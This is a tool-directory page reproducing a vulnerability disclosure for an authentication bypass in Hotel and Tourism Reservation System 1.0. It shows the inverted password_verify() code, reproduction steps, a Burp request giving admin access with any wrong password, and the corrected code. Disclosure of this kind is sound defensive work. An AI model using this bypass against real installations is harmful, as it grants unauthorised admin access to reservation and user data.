Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-10288-AUTH-BYPASS — Proof-of-concept exploit for an authentication bypass in Hotel and Tourism Reservation System 1.0, allowing unauthenticated admin access via inverted password_verify logic. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-10288-auth-bypass
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubxmyronn/cve-2026-10288-auth-bypass

CVE-2026-10288-AUTH-BYPASS

Proof-of-concept exploit for an authentication bypass in Hotel and Tourism Reservation System 1.0, allowing unauthenticated admin access via inverted password_verify logic.

View Repository
805 months agoNot yet reviewed
Share

Hotel and Tourism Reservation System - Authentication Bypass

Vulnerability Details

FieldDetails
TitleHotel and Tourism Reservation System - Authentication Bypass
Vendorcode-projects.org
ProductHotel and Tourism Reservation System
Version1.0
Vulnerability TypeImproper Authentication
CWECWE-287
CVSS Score9.0 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected File/admin/login.php
Authentication RequiredNo
Remote ExploitableYes

Description

A critical authentication bypass vulnerability exists in the admin login functionality of Hotel and Tourism Reservation System 1.0. The vulnerability is caused by an inverted conditional check on the return value of password_verify(), which causes the application to grant access when an incorrect password is supplied and deny access when the correct password is supplied. An unauthenticated remote attacker can gain full administrative access by providing a valid email address and any arbitrary incorrect password.


Root Cause

File: admin/login.php — Lines 39–46

if(password_verify($password, $user['password'])){
    // BUG: password_verify() returns TRUE when password is CORRECT
    // but the error message is placed here instead of login logic
    echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
    // BUG: this block executes when password is WRONG
    // but login is granted here instead of showing an error
    $userID = $user['id'];
    login($userID);
}

password_verify() returns true when the supplied password matches the hash. The developer placed the success logic inside the else branch (which executes when the function returns false), meaning authentication is granted on any incorrect password.


Impact

A remote unauthenticated attacker can:

  • Gain full administrative access to the application
  • View, modify, and delete all room and tour reservations
  • Add, edit, or remove rooms, tours, and events
  • Access all registered user data
  • Perform all admin operations without knowing the admin password

Steps to Reproduce

Setup: Install Hotel and Tourism Reservation System 1.0 on XAMPP. Access the app at http://localhost/ht/.

Step 1: Navigate to the admin login page.

http:///ht/admin/login.php

Step 2: Enter a valid admin email with any wrong password.

Email: [email protected] Password: wrongpassword

Step 3: Click Login.

Result: The application bypasses authentication and redirects to the admin dashboard (index.php) — full admin access granted with an incorrect password.


Proof of Concept (Burp Suite)

Request:

POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

email=admin%40admin.com&password=test1234&login=Login

Response:

HTTP/1.1 302 Found
Location: index.php

A 302 redirect to index.php confirms successful authentication with a wrong password.


Screenshots

1. Login Page — Wrong Password Entered

Screenshot 2026-05-11 232154

2. Burp Suite — 302 Redirect Confirms Bypass

Screenshot 2026-05-11 232205

3. Source Code — Inverted Logic

Screenshot 2026-05-11 232228

Recommended Fix

Swap the conditional branches so login is granted when password_verify() returns true:

// FIXED
if(password_verify($password, $user['password'])){
    $userID = $user['id'];
    login($userID);
} else {
    echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}

References

  • CWE-287: Improper Authentication
  • Hotel and Tourism Reservation System — code-projects.org

Discovered By

Imad Alvi — Independent Security Researcher

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    871
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    361
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    305
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →